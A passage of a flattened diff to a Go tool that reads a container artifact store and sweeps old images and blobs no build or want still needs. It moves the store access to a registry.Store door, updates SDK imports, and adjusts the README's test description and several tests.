never with a prompt, as the container runtime's own tools do.
A manifest *marks* its own content, its configuration and its layers, and an index marks the manifests
it lists. The store's collector removes every blob no manifest marks, so these numbers are its own.
### The states of a manifest
@@ -95,14 +99,16 @@ manifest that stays and would lose a platform it names — to be read before a r
go test ./...
```
Against a fake of the two registry seats' `list`: the store read through it (an index and the manifests it names, a
bundle's holder, a hold, the seat's sizes), every state, what the records keep that the store lacks, bytes freed as the
sizes of what goes, a dry run never confirming, a real run without `why` refused before anything is asked,
Against a fake container that prints what the two scripts would: the listing parsed (a repository name
with slashes, a cut listing refused), manifests read with one absent or unreadable said as unread, a
digest never becoming a path outside the blobs, the mark (an index, a shared blob, a blob nothing marks),
every state, what the records keep that the store lacks, bytes freed counting a blob shared with a kept
manifest as kept, a dry run never confirming, a real run without `why` refused before anything is asked,
the fall-back when the references let go of cannot be carried, a manifest a definition pins under the
store's current or an older name, a definition not read said first, and that the
store's current or an older name, a definition not read said first, escalation through `sudo -n`, and that the
tools served are exactly the manifest's `tools` and its `invokes` exactly the two controller verbs and the
catalogue's two tools.
Any ask other than a seat's `list` fails the read tools' tests.
Any command other than the two read-only scripts fails the test.
## Files it does not know
@@ -152,7 +152,7 @@ func TestOlderNamesNotReadAreSaidFirst(t *testing.T) {
// references is one artifact_store_references tool, kept across calls as the runtime keeps the bundle.
func references(t *testing.T, a *asked) func(map[string]any) (any, error) {
f := world()
s := &Store{Ask: f.ask(t)}
s := &Store{Container: "mesh-registry", Run: f.run(t)}
for _, tl := range Tools(s, recordsAsked{a}, &Catalogue{Ask: a.ask}) {
if tl.Name == "artifact_store_references" {
return tl.Run
@@ -1,11 +1,10 @@
package main
// The artifact store, through its seats, and the bus, as the holder reaches them through this module's runtime.
// The artifact store's door and the bus, as the holder reaches them through this module's runtime.
import (
"context"
"encoding/json"
"errors"
"fmt"
"os"
"strings"
@@ -15,43 +14,23 @@ import (
stdio "git.novox.be/novox/mesh-sdk/go"
"git.novox.be/novox/mesh-sdk/go/views"
"artifactstoretools/internal/registry"
)
// Gone is the answer when the store does not hold it: the outcome wanted, already true.
var Gone = errors.New("the store does not hold it")
// door is registry.Store at the store's address as this machine reaches it.
type door struct{ s registry.Store }
// ErrNotOurs is a reference this sweep will not address: not the mesh's own, or naming nothing the store holds by digest.
//
// **A fact about the record, not about the store** (novox/hq issue 226). The two deserve opposite responses (skip one and
// go on, abandon the sweep for the other), and collapsing them into "an error" is how a cautious loop became one that did
// nothing while reporting the right number.
var ErrNotOurs = errors.New("not a reference into the mesh's artifact store")
// door is the store as its seats' list answers it (ADR 0632 §4), at the address this machine reaches it by: it reads
// only; what the sweep holds and removes it asks the registry seats too (sweepseats.go).
type door struct {
address string
store *Store
// It is read only: what the sweep holds and removes it asks the registry seats (sweepseats.go).
func (d *door) Address() string { return d.s.Address }
func (d *door) Holds(ctx context.Context, r string) error { return d.s.Holds(ctx, r) }
func (d *door) IsIndex(ctx context.Context, r string) (bool, error) {
return d.s.IsIndex(ctx, r)
}
func (d *door) Address() string { return d.address }
// Holds is whether the store holds what a reference names: an image's manifest, a bundle's or an archive's blob. Gone when
// its seat lists none (ADR 0526 clause 3: a registration by hand is refused at bytes that are not there).
func (d *door) Holds(_ context.Context, r string) error {
_, err := d.store.listed(r)
return err
}
// IsIndex is whether a reference is an index the store holds, as its seat lists it. Gone when it does not hold it.
func (d *door) IsIndex(_ context.Context, r string) (bool, error) {
e, err := d.store.listed(r)
return e.Index, err
}
// DoorAt reads the store's address (host:port) from the file the manifest fills from the seat container-image-registry's
// reach, each time, so a store that moved is said where it is now; the store is read through s.
func DoorAt(file string, s *Store) func() (Door, error) {
// DoorAt reads the store's address (host:port) from the file the manifest fills from the seat mesh-artifact-store's
// reach, each time, so a store that moved is reached where it is now.
func DoorAt(file string) func() (Door, error) {
return func() (Door, error) {
if file == "" {
return nil, fmt.Errorf("this bundle was given no file naming the artifact store's address")
@@ -64,7 +43,7 @@ func DoorAt(file string, s *Store) func() (Door, error) {
if address == "" {
return nil, fmt.Errorf("the artifact store's address is empty in %s", file)
}
return &door{address: address, store: s}, nil
return &door{s: registry.Store{Address: address}}, nil
}
}
@@ -1,39 +0,0 @@
package main
import (
"encoding/json"
"fmt"
"sort"
sweep "git.novox.be/novox/mesh-delivery/contracts/go/seats/meshartifactsweep"
)
// The holders whose states this module reads, one constant each (a reader names its holder once; ADR 0634 §4).
const (
assignerModule = "mesh-delivery-assigner"
indexerModule = "mesh-delivery-indexer"
)
// The seat mesh-artifact-sweep types the answer of its verb held and the body of its event artifacts-gone; this module
// holds the seat, so it answers and says them in those types.
type (
// HeldAnswer is the answer of the seat's verb held.
HeldAnswer = sweep.HeldAnswer
// ArtifactsGone is the body of the seat's event artifacts-gone.
ArtifactsGone = sweep.ArtifactsGone
)
// GoneSubject is where the seat says artifacts-gone.
const GoneSubject = sweep.SubjectArtifactsGone
// EncodeArtifactsGone is the event's body, the references sorted; it refuses one naming no module, no fingerprint or no
// gone reference.
func EncodeArtifactsGone(e ArtifactsGone) ([]byte, error) {
e.Event = sweep.EventArtifactsGone
e.Gone = append([]string(nil), e.Gone...)
sort.Strings(e.Gone)
if e.Module == "" || e.Fingerprint == "" || len(e.Gone) == 0 {
return nil, fmt.Errorf("%s names a module, a fingerprint and at least one gone reference", sweep.EventArtifactsGone)
}
return json.Marshal(e)
}
@@ -18,37 +18,35 @@ import (
"encoding/json"
"errors"
"fmt"
engineclient "git.novox.be/novox/mesh-contracts/go/clients/nodeengineclient"
nodeengine "git.novox.be/novox/mesh-contracts/go/seats/nodeengine"
catalogclient "git.novox.be/novox/mesh-delivery/contracts/go/clients/meshcatalogclient"
catalog "git.novox.be/novox/mesh-delivery/contracts/go/seats/meshcatalog"
meshwants "git.novox.be/novox/mesh-delivery/contracts/go/seats/meshwants"
builds "git.novox.be/novox/mesh-delivery/modules/mesh-delivery-builder/builds"
"sort"
"strings"
"sync"
"time"
"git.novox.be/novox/mesh-contracts/health-and-repair/go/clients/meshconditionsclient"
"git.novox.be/novox/mesh-contracts/health-and-repair/go/clients/meshhandactsclient"
meshconditions "git.novox.be/novox/mesh-contracts/health-and-repair/go/seats/meshconditions"
artifactref "git.novox.be/novox/mesh-delivery/contracts/go/clients/containerimageregistryclient/reference"
stdio "git.novox.be/novox/mesh-sdk/go"
"git.novox.be/novox/mesh-sdk/go/catalogue"
"git.novox.be/novox/mesh-sdk/go/delivery"
"git.novox.be/novox/mesh-sdk/go/handacts"
"git.novox.be/novox/mesh-sdk/go/health"
"git.novox.be/novox/mesh-sdk/go/views"
"artifactstoretools/internal/registry"
)
// What the holder reads and keeps.
const (
WantsRead = assignerModule + ".wants"
BuildsRead = builds.BuilderModule + ".builds"
WantsRead = delivery.AssignerModule + ".wants"
BuildsRead = delivery.BuilderModule + ".builds"
HavesRead = "node-engine.have"
// ManifestsRead is the indexer's manifests: the images a manifest pins by itself.
ManifestsRead = indexerModule + "." + catalog.StateManifests
// FindingsState is the holder's own findings (meshconditions.StateFindings): image-missing.
FindingsState = meshconditions.StateFindings
ManifestsRead = delivery.IndexerModule + ".manifests"
// FindingsState is the holder's own findings (health.FindingsState): image-missing.
FindingsState = health.FindingsState
// Module is this module, the observer its findings name.
Module = "artifact-store-tools"
// GoneSubject is where the seat says artifacts-gone.
GoneSubject = "mesh.seat." + catalogue.ArtifactSweepSeat + ".event." + delivery.ArtifactsGoneEvent
)
// The sweep's bounds, the controller's (cmd/mesh-controller/collect.go mostPerSweep, sweepBudget).
@@ -73,7 +71,7 @@ type Bus interface {
Publish(subject string, body any) error
}
// Door is the artifact store as its seats' list answers it, read only, behind an interface so a test needs no store. What
// Door is the artifact store's own door, read only: registry.Store, behind an interface so a test needs no store. What
// the sweep holds and removes it asks the registry seats (Seats, sweepseats.go).
type Door interface {
Address() string
@@ -85,9 +83,9 @@ type Door interface {
type Holder struct {
Bus Bus
Door func() (Door, error)
// Listed is the store as its seats list it now (Store.View); nil reads none, and then nothing is said gone or collected.
// Listed is the store's own listing now (Store.View); nil reads none, and then nothing is said gone or collected.
Listed func(ctx context.Context) (*View, error)
Acts meshhandactsclient.Recorder
Acts handacts.Recorder
// Seats asks a registry seat's verb, `seat:<seat>.<verb>` (hold, remove): the runtime's stdio.Ask in main.
Seats func(key string, body any) (json.RawMessage, error)
Now func() time.Time
@@ -102,7 +100,7 @@ type Holder struct {
type Build struct {
Module, FP, Key string
At time.Time
Artifacts []builds.BuiltArtifact
Artifacts []delivery.BuiltArtifact
// Manifest is the digest of the manifest it built, in the indexer's `manifests`.
Manifest string
}
@@ -115,7 +113,7 @@ func (h *Holder) Builds() ([]Build, error) {
}
var out []Build
for _, k := range keys {
module, fp, err := builds.ParseBuilderBuildKey(k)
module, fp, err := delivery.ParseBuilderBuildKey(k)
if err != nil {
continue
}
@@ -126,8 +124,8 @@ func (h *Holder) Builds() ([]Build, error) {
if !found {
continue
}
b, err := builds.DecodeBuilderBuild(raw)
if err != nil || b.State != builds.BuildDone {
b, err := delivery.DecodeBuilderBuild(raw)
if err != nil || b.State != delivery.BuildDone {
continue
}
at, err := h.endOf(k)
@@ -152,7 +150,7 @@ func (h *Holder) endOf(key string) (time.Time, error) {
return time.Time{}, fmt.Errorf("the history of the builder's build %s: %w", key, err)
}
for _, r := range revs {
if b, err := builds.DecodeBuilderBuild(r.Value); err == nil && b.State == builds.BuildDone && r.At.After(at) {
if b, err := delivery.DecodeBuilderBuild(r.Value); err == nil && b.State == delivery.BuildDone && r.At.After(at) {
at = r.At
}
}
@@ -184,11 +182,11 @@ func (h *Holder) Wants() ([]Want, error) {
if err != nil {
return nil, fmt.Errorf("the want %s: %w", k, err)
}
var w meshwants.WantsByWantNodeModuleValue
if !found || json.Unmarshal(raw, &w) != nil || w.Removed || w.Fp == "" {
var w delivery.Want
if !found || json.Unmarshal(raw, &w) != nil || w.Removed || w.FP == "" {
continue
}
out = append(out, Want{Node: node, Module: module, FP: w.Fp})
out = append(out, Want{Node: node, Module: module, FP: w.FP})
}
return out, nil
}
@@ -220,8 +218,8 @@ func KeepSet(builds []Build, wants []Want) map[string]*Ref {
out := map[string]*Ref{}
for _, b := range builds {
for _, a := range b.Artifacts {
reference := canonical(registryForms.Recorded(a.Reference))
if _, ours := registryForms.InArtifactStore(reference); !ours || a.Kind == "package" {
reference := canonical(catalogue.Recorded(a.Reference))
if _, ours := catalogue.InArtifactStore(reference); !ours || a.Kind == "package" {
continue
}
r := out[reference]
@@ -355,17 +353,17 @@ func (h *Holder) judge(ctx context.Context) (*judged, error) {
// against is what each build the builder's log says ended stood on, by build key: the bases' references.
func (h *Holder) against() (map[string][]string, error) {
entries, err := h.Bus.LogSince(builds.BuildLogRead, h.now().Add(-builds.BuilderLogDays*24*time.Hour))
entries, err := h.Bus.LogSince(delivery.BuildLogRead, h.now().Add(-delivery.BuilderLogDays*24*time.Hour))
if err != nil {
return nil, err
}
out := map[string][]string{}
for _, raw := range entries {
e, err := builds.DecodeBuildLogEntry(raw.Value)
if err != nil || e.Event != builds.BuildEndedEvent {
e, err := delivery.DecodeBuildLogEntry(raw.Value)
if err != nil || e.Event != delivery.BuildEndedEvent {
continue
}
key, err := builds.BuilderBuildKey(e.Module, e.FP)
key, err := delivery.BuilderBuildKey(e.Module, e.FP)
if err != nil {
continue
}
@@ -386,7 +384,7 @@ func Mirrors(v *View, builds []Build, kept map[string][]string, against map[stri
continue
}
for d := range v.L.Repos[name].Revisions {
r := artifactref.ArtifactStoreScheme + name + "@" + d
r := catalogue.ArtifactStoreScheme + name + "@" + d
out[r] = &Ref{Reference: r, Kind: "image"}
}
}
@@ -400,7 +398,7 @@ func Mirrors(v *View, builds []Build, kept map[string][]string, against map[stri
continue
}
for _, base := range bases {
if m := out[registryForms.Recorded(base)]; m != nil {
if m := out[catalogue.Recorded(base)]; m != nil {
m.Builds = append(m.Builds, b)
why := kept[b.Key]
if len(why) > 0 {
@@ -448,7 +446,7 @@ func (j *judged) records(repository string, collected bool) *Records {
}
}
r.Counts[state]++
if (repository != "" && !strings.HasPrefix(strings.TrimPrefix(ref.Reference, artifactref.ArtifactStoreScheme), repository)) ||
if (repository != "" && !strings.HasPrefix(strings.TrimPrefix(ref.Reference, catalogue.ArtifactStoreScheme), repository)) ||
(state == "collected" && !collected) {
continue
}
@@ -578,7 +576,7 @@ func (h *Holder) Sweep(ctx context.Context, s Sweeping) (*CollectAnswer, error)
if !s.Confirmed {
// An index waits for a confirmed collect (ADR 0251 §7, ADR 0257 §4).
index, err := door.IsIndex(within, r)
if err != nil && !errors.Is(err, Gone) && !errors.Is(err, ErrNotOurs) {
if err != nil && !errors.Is(err, registry.Gone) && !errors.Is(err, registry.ErrNotOurs) {
a.Stopped = fmt.Sprintf("the store could not say whether %s is an index, so nothing more was asked: %v", r, err)
a.Left = len(eligible) - i
break
@@ -601,7 +599,7 @@ func (h *Holder) Sweep(ctx context.Context, s Sweeping) (*CollectAnswer, error)
refused = true
break
}
if _, err := h.Acts.Record(meshhandactsclient.Request{What: "let go of " + r + " (" + s.By + ")", Why: why,
if _, err := h.Acts.Record(handacts.Request{What: "let go of " + r + " (" + s.By + ")", Why: why,
Cause: "artifact-store-sweep", Verb: "collect"}); err != nil {
h.logf("%s was let go of and could not be recorded in the hand-act log: %v", r, err)
}
@@ -616,7 +614,7 @@ func (h *Holder) Sweep(ctx context.Context, s Sweeping) (*CollectAnswer, error)
// sayGone says artifacts-gone for each build that named one of refs: the builder builds a key again whose artifact is gone.
func (h *Holder) sayGone(j *judged, refs []string, how string) {
byKey := map[string]*ArtifactsGone{}
byKey := map[string]*delivery.ArtifactsGone{}
var keys []string
for _, r := range refs {
ref := j.refs[r]
@@ -626,8 +624,7 @@ func (h *Holder) sayGone(j *judged, refs []string, how string) {
for _, b := range ref.Builds {
g := byKey[b.Key]
if g == nil {
at := h.now().UTC()
g = &ArtifactsGone{Module: b.Module, Key: b.Key, Fingerprint: b.FP, At: &at}
g = &delivery.ArtifactsGone{Module: b.Module, Key: b.Key, Fingerprint: b.FP, At: h.now().UTC()}
byKey[b.Key] = g
keys = append(keys, b.Key)
}
@@ -636,7 +633,7 @@ func (h *Holder) sayGone(j *judged, refs []string, how string) {
}
sort.Strings(keys)
for _, k := range keys {
raw, err := EncodeArtifactsGone(*byKey[k])
raw, err := delivery.EncodeArtifactsGone(*byKey[k])
if err == nil {
err = h.Bus.Publish(GoneSubject, json.RawMessage(raw))
}
@@ -650,7 +647,7 @@ func (h *Holder) sayGone(j *judged, refs []string, how string) {
// artifacts-gone against its own key.
func namedBy(b Build, r string) string {
for _, a := range b.Artifacts {
if rec := registryForms.Recorded(a.Reference); canonical(rec) == r {
if rec := catalogue.Recorded(a.Reference); canonical(rec) == r {
return rec
}
}
@@ -670,30 +667,30 @@ func (h *Holder) AfterBuild(key string) {
}
// Held is the seat's `held`: each reference, held, gone or unknown with why. Holds and writes nothing.
func (h *Holder) Held(refs []string) (HeldAnswer, error) {
func (h *Holder) Held(refs []string) (delivery.HeldAnswer, error) {
if len(refs) == 0 {
return HeldAnswer{}, errors.New("held judges the references given, and none was")
return delivery.HeldAnswer{}, errors.New("held judges the references given, and none was")
}
if len(refs) > 64 {
return HeldAnswer{}, fmt.Errorf("held judges at most 64 references at once, and %d were given", len(refs))
return delivery.HeldAnswer{}, fmt.Errorf("held judges at most 64 references at once, and %d were given", len(refs))
}
for _, r := range refs {
if _, ours := registryForms.InArtifactStore(r); !ours {
return HeldAnswer{}, fmt.Errorf("%s is not a reference into the mesh's artifact store (artifact-store://...): nothing was asked", r)
if _, ours := catalogue.InArtifactStore(r); !ours {
return delivery.HeldAnswer{}, fmt.Errorf("%s is not a reference into the mesh's artifact store (artifact-store://...): nothing was asked", r)
}
}
door, err := h.Door()
if err != nil {
return HeldAnswer{}, err
return delivery.HeldAnswer{}, err
}
asking, stop := context.WithTimeout(context.Background(), 20*time.Second)
defer stop()
a := HeldAnswer{Store: door.Address(), Held: []string{}, Gone: []string{}}
a := delivery.HeldAnswer{Store: door.Address(), Held: []string{}, Gone: []string{}}
for _, r := range refs {
switch err := door.Holds(asking, canonical(r)); {
case err == nil:
a.Held = append(a.Held, r)
case errors.Is(err, Gone):
case errors.Is(err, registry.Gone):
a.Gone = append(a.Gone, r)
default:
if a.Unknown == nil {
@@ -729,7 +726,7 @@ func (h *Holder) ImagesOf(node string, address string) (Images, error) {
}
byImage := map[string]*Image{}
add := func(module, fp, in string) error {
key, err := builds.BuilderBuildKey(module, fp)
key, err := delivery.BuilderBuildKey(module, fp)
if err != nil {
return nil
}
@@ -737,14 +734,14 @@ func (h *Holder) ImagesOf(node string, address string) (Images, error) {
if err != nil || !found {
return err
}
b, err := builds.DecodeBuilderBuild(raw)
b, err := delivery.DecodeBuilderBuild(raw)
if err != nil {
return nil
}
images := []string{}
for _, a := range b.Artifacts {
if (a.Kind == "image" || a.Kind == "upstream") && a.Reference != "" {
images = append(images, registryForms.Routed(registryForms.Recorded(a.Reference), address))
images = append(images, catalogue.Routed(catalogue.Recorded(a.Reference), address))
}
}
pinned, err := h.Pinned(b.Manifest)
@@ -778,7 +775,7 @@ func (h *Holder) ImagesOf(node string, address string) (Images, error) {
return out, fmt.Errorf("the haves: %w", err)
}
for _, k := range keys {
n, module, isNode, err := engineclient.ParseHaveKey(k)
n, module, isNode, err := delivery.ParseHaveKey(k)
if err != nil || isNode || n != node {
continue
}
@@ -786,12 +783,12 @@ func (h *Holder) ImagesOf(node string, address string) (Images, error) {
if err != nil {
return out, err
}
var have nodeengine.HaveByNodeModuleValue
if !found || json.Unmarshal(raw, &have) != nil || have.Fp == "" {
var have delivery.Have
if !found || json.Unmarshal(raw, &have) != nil || have.FP == "" {
continue
}
out.SentKnown = true
if err := add(module, have.Fp, "sent"); err != nil {
if err := add(module, have.FP, "sent"); err != nil {
return out, err
}
}
@@ -810,7 +807,7 @@ func (h *Holder) Pinned(manifest string) ([]string, error) {
if manifest == "" {
return nil, nil
}
key, err := catalogclient.ManifestsKey(manifest)
key, err := delivery.ManifestsKey(manifest)
if err != nil {
return nil, nil
}
@@ -818,14 +815,14 @@ func (h *Holder) Pinned(manifest string) ([]string, error) {
if err != nil || !found {
return nil, err
}
m, err := catalogclient.DecodeManifest(raw)
m, err := delivery.DecodeManifest(raw)
if err != nil {
return nil, nil
}
var parsed struct {
Resources []map[string]any `json:"resources"`
}
if json.Unmarshal([]byte(m.Manifest), &parsed) != nil {
if json.Unmarshal([]byte(m.JSON), &parsed) != nil {
return nil, nil
}
var out []string
@@ -845,8 +842,8 @@ func inStoreAt(image, address string) string {
if address == "" || !strings.HasPrefix(image, address+"/") || !strings.Contains(image, "@sha256:") {
return ""
}
r := registryForms.Recorded(image)
if _, ours := registryForms.InArtifactStore(r); !ours {
r := catalogue.Recorded(image)
if _, ours := catalogue.InArtifactStore(r); !ours {
return ""
}
return r
@@ -870,7 +867,7 @@ func (h *Holder) Observe(ctx context.Context) error {
for _, b := range j.built {
builds[b.Module+" "+b.FP] = b
}
now := map[string]meshconditions.FindingsByKeyValue{}
now := map[string]health.Finding{}
for _, w := range j.wants {
b, ok := builds[w.Module+" "+w.FP]
if !ok {
@@ -879,7 +876,7 @@ func (h *Holder) Observe(ctx context.Context) error {
var refs []string
for _, a := range b.Artifacts {
if a.Kind == "image" {
refs = append(refs, registryForms.Recorded(a.Reference))
refs = append(refs, catalogue.Recorded(a.Reference))
}
}
// And what its manifest pins by itself under the store's address, as the controller judged S25.
@@ -910,7 +907,7 @@ func (h *Holder) Observe(ctx context.Context) error {
if _, still := now[k]; !still {
// A finding of a first view unanswered is the reader's (views.Reader), cleared by its answer, not by a sweep.
if raw, found, err := h.Bus.Get(FindingsState, k); err == nil && found {
if f, err := meshconditions.DecodeFindingsByKeyValue(raw); err == nil && f.Kind == views.UnansweredKind {
if f, err := health.DecodeFinding(raw); err == nil && f.Kind == views.UnansweredKind {
continue
}
}
@@ -925,11 +922,11 @@ func (h *Holder) Observe(ctx context.Context) error {
return err
}
if found {
if was, err := meshconditions.DecodeFindingsByKeyValue(raw); err == nil && was.Summary == f.Summary {
if was, err := health.DecodeFinding(raw); err == nil && was.Summary == f.Summary {
continue // written only when what it says changes
}
}
if err := meshconditionsclient.CheckFinding(f); err != nil {
if _, err := health.EncodeFinding(f); err != nil {
return err
}
if err := h.Bus.Put(FindingsState, k, f); err != nil {
@@ -940,11 +937,11 @@ func (h *Holder) Observe(ctx context.Context) error {
}
// imageMissing is S25's finding, in the controller's words (cmd/mesh-controller/image_missing.go watchMissingImages).
func imageMissing(node, module, image string, at time.Time) meshconditions.FindingsByKeyValue {
func imageMissing(node, module, image string, at time.Time) health.Finding {
id := module + "." + node
return meshconditions.FindingsByKeyValue{V: meshconditionsclient.FindingVersion, Key: meshconditionsclient.Key(meshconditionsclient.ScopeModule, id, ImageMissing), Kind: ImageMissing,
Subject: meshconditions.Subject{Scope: meshconditionsclient.ScopeModule, ID: id, Machine: node},
Severity: meshconditionsclient.Warning, Resolver: meshconditionsclient.ResolverOperator,
return health.Finding{V: health.FindingVersion, Key: health.FindingKey(health.ScopeModule, id, ImageMissing), Kind: ImageMissing,
Subject: health.Subject{Scope: health.ScopeModule, ID: id, Machine: node},
Severity: health.Warning, Resolver: health.ResolverOperator,
Summary: fmt.Sprintf("%s is left out of every send to %s: its declaration names an image that the artifact store does "+
"not hold (the evidence names it); the running container is untouched", module, node),
Headline: capital(module) + " is not updated on " + node,
@@ -952,7 +949,7 @@ func imageMissing(node, module, image string, at time.Time) meshconditions.Findi
"was not sent to %s. What runs there is untouched, and the rest of %s is sent as usual.", module, node, node),
Needs: fmt.Sprintf("build %s again; the details name the image.", module),
Resolved: "Resolved: the store holds the image of " + module + " again",
Evidence: []meshconditions.Evidence{{At: at.UTC(), Said: "image " + image + " is not in the store"}},
Evidence: []health.Evidence{{At: at.UTC(), Said: "image " + image + " is not in the store"}},
Source: "S25", Observer: Module, At: at.UTC()}
}
@@ -19,9 +19,8 @@ import (
"github.com/nats-io/nats.go"
"github.com/nats-io/nats.go/jetstream"
"git.novox.be/novox/mesh-contracts/health-and-repair/go/clients/meshhandactsclient"
meshhandacts "git.novox.be/novox/mesh-contracts/health-and-repair/go/seats/meshhandacts"
stdio "git.novox.be/novox/mesh-sdk/go"
"git.novox.be/novox/mesh-sdk/go/handacts"
"git.novox.be/novox/mesh-sdk/go/testbus"
)
@@ -159,7 +158,7 @@ func TestTheSeatSweepsAtABuildsEndOnARealBusWithNoLease(t *testing.T) {
// The seat mesh-hand-acts, answering every act it records; artifacts-gone heard on the seat's subject.
var mu sync.Mutex
var acts, gone []string
if _, err := nc.Subscribe("mesh.seat."+meshhandacts.Seat+".tool.hand-act", func(m *nats.Msg) {
if _, err := nc.Subscribe("mesh.seat."+handacts.Seat+".tool.hand-act", func(m *nats.Msg) {
mu.Lock()
acts = append(acts, string(m.Data))
mu.Unlock()
@@ -199,7 +198,7 @@ func TestTheSeatSweepsAtABuildsEndOnARealBusWithNoLease(t *testing.T) {
return m.Data, nil
}
h := &Holder{Bus: findingsAt{realBus: bus}, Door: mem.Door, Listed: mem.Listed, Seats: ask, Now: time.Now, Logf: t.Logf}
h.Acts = meshhandactsclient.Recorder{Ask: ask}
h.Acts = handacts.Recorder{Ask: ask}
// A build's end heard from the builds bucket, as follow hands it over.
kv, _ := bus.kv(BuildsRead)
@@ -5,11 +5,6 @@ import (
"encoding/json"
"errors"
"fmt"
nodeengine "git.novox.be/novox/mesh-contracts/go/seats/nodeengine"
catalogclient "git.novox.be/novox/mesh-delivery/contracts/go/clients/meshcatalogclient"
catalog "git.novox.be/novox/mesh-delivery/contracts/go/seats/meshcatalog"
meshwants "git.novox.be/novox/mesh-delivery/contracts/go/seats/meshwants"
builds "git.novox.be/novox/mesh-delivery/modules/mesh-delivery-builder/builds"
"slices"
"sort"
"strings"
@@ -17,14 +12,14 @@ import (
"testing"
"time"
"git.novox.be/novox/mesh-contracts/health-and-repair/go/clients/meshconditionsclient"
"git.novox.be/novox/mesh-contracts/health-and-repair/go/clients/meshhandactsclient"
meshconditions "git.novox.be/novox/mesh-contracts/health-and-repair/go/seats/meshconditions"
stdio "git.novox.be/novox/mesh-sdk/go"
"git.novox.be/novox/mesh-sdk/go/delivery"
"git.novox.be/novox/mesh-sdk/go/handacts"
"git.novox.be/novox/mesh-sdk/go/health"
artifactref "git.novox.be/novox/mesh-delivery/contracts/go/clients/containerimageregistryclient/reference"
reg "git.novox.be/novox/mesh-delivery/contracts/go/seats/containerimageregistry"
ociseat "git.novox.be/novox/mesh-delivery/contracts/go/seats/ociartifactregistry"
"git.novox.be/novox/mesh-sdk/go/catalogue"
"artifactstoretools/internal/registry"
)
// memBus is the holder's bus in memory: states by name, each key's history, and what was published.
@@ -39,7 +34,7 @@ type memBus struct {
func (b *memBus) LogSince(read string, at time.Time) ([]stdio.LogEntry, error) {
var out []stdio.LogEntry
for _, e := range b.log {
if read == builds.BuildLogRead && !e.At.Before(at) {
if read == delivery.BuildLogRead && !e.At.Before(at) {
out = append(out, e)
}
}
@@ -112,9 +107,9 @@ func (d *memDoor) seat(key string, body any) (json.RawMessage, error) {
var in struct{ Name, Digest, Reason string }
_ = json.Unmarshal(raw, &in)
seat, verb, _ := strings.Cut(strings.TrimPrefix(key, "seat:"), ".")
ref := artifactref.ArtifactStoreScheme + in.Name + "@" + in.Digest
ref := catalogue.ArtifactStoreScheme + in.Name + "@" + in.Digest
if seat == "oci-artifact-registry" {
ref = artifactref.ArtifactStoreScheme + in.Name + "/blobs/" + in.Digest
ref = catalogue.ArtifactStoreScheme + in.Name + "/blobs/" + in.Digest
}
d.calls = append(d.calls, key+" "+in.Name+"@"+in.Digest+" "+in.Reason)
if err := d.refuse[verb+" "+ref]; err != nil {
@@ -146,7 +141,7 @@ func (d *memDoor) seat(key string, body any) (json.RawMessage, error) {
func (d *memDoor) Address() string { return "10.0.0.5:5000" }
func (d *memDoor) Holds(_ context.Context, r string) error {
if !d.holds[r] {
return Gone
return registry.Gone
}
return nil
}
@@ -181,8 +176,8 @@ func aMesh(t *testing.T) (*Holder, *memBus, *memDoor, *[]string) {
door := &memDoor{holds: map[string]bool{}, indexes: map[string]bool{}}
listing := &Listing{Blobs: map[string]int64{}, Repos: map[string]*Repo{}}
for n := 1; n <= 7; n++ {
key, _ := builds.BuilderBuildKey("letta", fp(n))
raw, err := builds.EncodeBuilderBuild(builds.BuilderBuild{State: builds.BuildDone, Manifest: strings.Repeat("d", 64), Artifacts: []builds.BuiltArtifact{
key, _ := delivery.BuilderBuildKey("letta", fp(n))
raw, err := delivery.EncodeBuilderBuild(delivery.BuilderBuild{State: delivery.BuildDone, Manifest: strings.Repeat("d", 64), Artifacts: []delivery.BuiltArtifact{
{Name: "image", Kind: "image", Digest: digestOf(imageRef("letta", n)), Reference: imageRef("letta", n)},
{Name: "files", Kind: "archive", Digest: digestOf(archiveRef("letta", n)), Reference: archiveRef("letta", n)},
{Name: "pkg", Kind: "package", Digest: "sha256:" + strings.Repeat("f", 64), Reference: "letta@1.0." + fmt.Sprint(n)}}})
@@ -210,7 +205,7 @@ func aMesh(t *testing.T) (*Holder, *memBus, *memDoor, *[]string) {
door.holds[mirror(n)] = true
}
for n := 1; n <= 7; n++ {
e := builds.BuildLogEntry{Event: builds.BuildEndedEvent, Module: "letta", FP: fp(n), Repository: "novox/x", Commit: "c",
e := delivery.BuildLogEntry{Event: delivery.BuildEndedEvent, Module: "letta", FP: fp(n), Repository: "novox/x", Commit: "c",
Node: "ace", At: day.Add(time.Duration(n) * time.Hour), Outcome: "done"}
switch n {
case 2:
@@ -218,21 +213,21 @@ func aMesh(t *testing.T) (*Holder, *memBus, *memDoor, *[]string) {
case 7:
e.Against = []string{mirror(2)}
}
raw, _ := builds.EncodeBuildLogEntry(e)
raw, _ := delivery.EncodeBuildLogEntry(e)
b.log = append(b.log, stdio.LogEntry{Sequence: uint64(n), Key: "letta", Value: raw, At: e.At})
}
manifest, _ := catalogclient.EncodeManifest(catalog.ManifestsByDigestValue{Module: "letta",
Manifest: `{"module":"letta","resources":[{"id":"app","type":"container","image":"` + pinnedImage + `"},` +
manifest, _ := delivery.EncodeManifest(delivery.Manifest{Module: "letta",
JSON: `{"module":"letta","resources":[{"id":"app","type":"container","image":"` + pinnedImage + `"},` +
`{"id":"built","type":"container","image":"${artifact:image}"}]}`})
mk, _ := catalogclient.ManifestsKey(strings.Repeat("d", 64))
mk, _ := delivery.ManifestsKey(strings.Repeat("d", 64))
_ = b.Put(ManifestsRead, mk, json.RawMessage(manifest))
want, _ := json.Marshal(meshwants.WantsByWantNodeModuleValue{V: 1, Fp: fp(1), Self: true})
want, _ := json.Marshal(delivery.Want{V: delivery.Version, FP: fp(1), Self: true})
_ = b.Put(WantsRead, "want.ace.letta", json.RawMessage(want))
var acts []string
h := &Holder{Bus: b, Door: func() (Door, error) { return door, nil }, Seats: door.seat,
Listed: func(context.Context) (*View, error) { return &View{L: listing}, nil },
Now: func() time.Time { return day.Add(48 * time.Hour) },
Acts: meshhandactsclient.Recorder{Ask: func(key string, body any) (json.RawMessage, error) {
Acts: handacts.Recorder{Ask: func(key string, body any) (json.RawMessage, error) {
raw, _ := json.Marshal(body)
acts = append(acts, key+" "+string(raw))
return json.RawMessage(`{}`), nil
@@ -308,10 +303,10 @@ func TestTheSeatKeepsTheFiveNewestAndTheWantedAndSweepsWithNoLease(t *testing.T)
}
if c.seatForm {
for _, n := range []int{2, 3} {
key, _ := builds.BuilderBuildKey("letta", fp(n))
raw, _ := builds.EncodeBuilderBuild(builds.BuilderBuild{State: builds.BuildDone, Manifest: strings.Repeat("d", 64), Artifacts: []builds.BuiltArtifact{
